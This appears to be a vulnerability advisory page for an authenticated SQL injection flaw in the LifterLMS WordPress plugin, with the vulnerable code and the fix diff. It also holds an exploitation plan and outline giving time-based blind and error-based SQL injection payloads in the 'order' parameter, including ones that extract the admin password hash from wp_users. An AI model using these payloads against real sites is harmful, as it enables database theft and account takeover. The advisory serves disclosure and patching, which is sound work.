LifterLMS <= 9.2.1 - Authenticated (Custom+) SQL Injection via 'order' Parameter
Description
The LifterLMS plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter in all versions up to, and including, 9.2.1. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Instructor-level access and above who have the edit_post capability on the quiz, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v9.2.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-5207 - LifterLMS SQL Injection ## 1. Vulnerability Summary **CVE-2026-5207** is an authenticated SQL injection vulnerability in LifterLMS (<= 9.2.1) affecting the `order` parameter. The vulnerability exists because the plugin fails to properly sanitize or prep…
Show full research plan
Exploitation Research Plan: CVE-2026-5207 - LifterLMS SQL Injection
1. Vulnerability Summary
CVE-2026-5207 is an authenticated SQL injection vulnerability in LifterLMS (<= 9.2.1) affecting the order parameter. The vulnerability exists because the plugin fails to properly sanitize or prepare the user-supplied sort direction (order) before concatenating it into a SQL query's ORDER BY clause. While the orderby parameter (the column name) might be checked, the order parameter (ASC/DESC) is often assumed to be safe but can be manipulated to append additional SQL commands.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - AJAX Action:
llms_table_get_results(used by LifterLMS to fetch paginated/sorted data for admin tables). - Vulnerable Parameter:
order(often passed asllms_orderororderdepending on the specific table implementation). - Authentication Level: Instructor-level access or higher.
- Preconditions: The attacker must have
edit_postcapability for a quiz (which Instructors have for quizzes they created or are assigned to). At least one quiz and one attempt should exist to trigger the database query path.
3. Code Flow
- Entry Point: A request is made to
admin-ajax.phpwithaction=llms_table_get_results. - Table Dispatcher: The request is handled by a controller (often
LLMS_Admin_Tableor a specific reporting controller) that instantiates a class extendingLLMS_Admin_Table(e.g.,LLMS_Admin_Table_Quiz_Attempts). - Argument Collection: The
get_results()method callsget_args()(defined inincludes/abstracts/abstract.llms.admin.table.php, Line 280), which retrieves sorting parameters:'order' => $this->get_order(), // Returns $_GET['order'] or $_POST['order'] 'orderby' => $this->get_orderby(), - Query Execution: The table object uses an instance of
LLMS_Database_Query(or a subclass) to fetch data. - SQL Generation: Inside
LLMS_Database_Query::sql_orderby()(defined inincludes/abstracts/abstract.llms.database.query.php, Line 316), theorderparameter is concatenated:foreach ( $sort as $orderby => $order ) { $pre = ( $comma ) ? ', ' : ' '; // VULNERABILITY: If sanitize_sql_orderby is bypassed or improperly handles the concatenated string $sql .= $pre . sanitize_sql_orderby( "{$orderby} {$order}" ); $comma = true; } - Sink: The resulting
$sqlis passed to$wpdb->get_results()viaperform_query()without further preparation (Line 139).
4. Nonce Acquisition Strategy
The LifterLMS admin tables use a nonce for security. This nonce is typically localized in the WordPress admin header.
- Shortcode/Page: Navigate to any LifterLMS Quiz reporting page.
- Target Page:
wp-admin/admin.php?page=llms-reporting&tab=quizzes&quiz_id=[QUIZ_ID] - Execution:
- Use
browser_navigateto go to the Quiz Reporting page. - Use
browser_evalto extract theLLMSconfiguration object.
- Use
- Nonce Variable: Verbatim from LifterLMS patterns, the nonce is likely found in
window.llms?.admin_nonceor specifically for tables in the localization data for the reporting scripts.- Research Step: Inspect the page source for
wp_localize_script. The key is oftenllms_admin_table_nonce.
- Research Step: Inspect the page source for
5. Exploitation Strategy
We will use a time-based blind SQL injection in the order parameter.
HTTP Request (Playwright http_request tool)
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=llms_table_get_results &table_id=quiz-attempts &quiz_id=[QUIZ_ID] &orderby=id &order=ASC,(SELECT 1 FROM (SELECT(SLEEP(5)))a) &_wpnonce=[NONCE]
Payloads
- Verification:
ASC,(SELECT 1 FROM (SELECT(SLEEP(5)))a)(Should delay response by 5 seconds). - Data Extraction (User Hash):
ASC,(SELECT 1 FROM (SELECT(IF(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)
6. Test Data Setup
- Users:
- Create an Instructor user:
wp user create instructor instructor@example.com --role=instructor --user_pass=password
- Create an Instructor user:
- LifterLMS Content:
- Create a Course:
wp post create --post_type=course --post_title="SQLi Test Course" --post_status=publish - Create a Quiz:
wp post create --post_type=llms_quiz --post_title="SQLi Test Quiz" --post_status=publish - Link Quiz to Lesson (LifterLMS requires structure to view attempts).
- Create a Course:
- Quiz Attempt:
- As a student, complete the quiz once to ensure the
wp_llms_quiz_attemptstable (or equivalent) has data. This ensures the SQL query returns results and reaches the vulnerable sorting logic.
- As a student, complete the quiz once to ensure the
7. Expected Results
- A baseline request with
order=ASCshould return almost instantly. - The malicious request with
order=ASC,(SELECT 1 FROM (SELECT(SLEEP(5)))a)should result in a response time of approximately 5 seconds. - Successful extraction of the first character of the admin's password hash using conditional SLEEP.
8. Verification Steps
- Response Timing: Monitor the
time_totalfromhttp_request. - Database Consistency: Use
wp db query "SELECT ..."to verify the table being queried actually contains the data you are attempting to extract. - Log Review: Check
wp-content/debug.logifWP_DEBUGis enabled; LifterLMS may log SQL errors if the payload syntax is slightly off.
9. Alternative Approaches
- Error-Based: If
WP_DEBUGis on, tryorder=ASC, (SELECT 1 FROM (SELECT(updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)))a). - Direct Parameter: Some LifterLMS reporting pages pass
llms_orderinstead oforderin the$_GETstring. If the AJAX action fails, try a directGETrequest to the reporting page with the same payload in the URL. - Table ID: If
quiz-attemptsis incorrect, enumerate table IDs by looking for classes extendingLLMS_Admin_Tablein the plugin'sincludes/admin/reporting/tablesdirectory.
Summary
LifterLMS is vulnerable to a time-based blind SQL injection via the 'order' parameter used in administrative tables. This vulnerability allows authenticated users with Instructor-level permissions or higher to execute arbitrary SQL commands by appending them to the ORDER BY clause of database queries.
Vulnerable Code
// includes/abstracts/abstract.llms.database.query.php protected function sql_orderby() { $sql = ''; // No point in ordering if we're just counting. if ( $this->get( 'count_only' ) ) { return $sql; } $sort = $this->get( 'sort' ); if ( $sort ) { $sql = 'ORDER BY'; $comma = false; foreach ( $sort as $orderby => $order ) { $pre = ( $comma ) ? ', ' : ' '; $sql .= $pre . sanitize_sql_orderby( "{$orderby} {$order}" ); $comma = true; } }
Security Fix
@@ -395,7 +395,8 @@ foreach ( $sort as $orderby => $order ) { $pre = ( $comma ) ? ', ' : ' '; - $sql .= $pre . sanitize_sql_orderby( "{$orderby} {$order}" ); + $order = ( 'DESC' === strtoupper( $order ) ) ? 'DESC' : 'ASC'; + $sql .= $pre . sanitize_sql_orderby( "{$orderby} {$order}" ); $comma = true; }
Exploit Outline
The exploit targets the `llms_table_get_results` AJAX action, which is used to render various reporting tables in the LifterLMS admin dashboard. 1. Authentication: The attacker must log in as a user with at least 'Instructor' privileges and have the `edit_post` capability for the specific quiz or post being queried. 2. Nonce Acquisition: The attacker retrieves a security nonce (typically `llms_admin_table_nonce`) from the localized script data on a LifterLMS reporting page. 3. Request Shape: A POST request is sent to `wp-admin/admin-ajax.php` with the following parameters: - `action`: `llms_table_get_results` - `table_id`: A valid table identifier like `quiz-attempts` - `orderby`: A valid column name (e.g., `id`) - `order`: The injection payload, such as `ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)` - `_wpnonce`: The valid security nonce. 4. Verification: Success is confirmed if the server response is delayed by the amount of time specified in the `SLEEP()` function, indicating that the injected SQL was executed.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.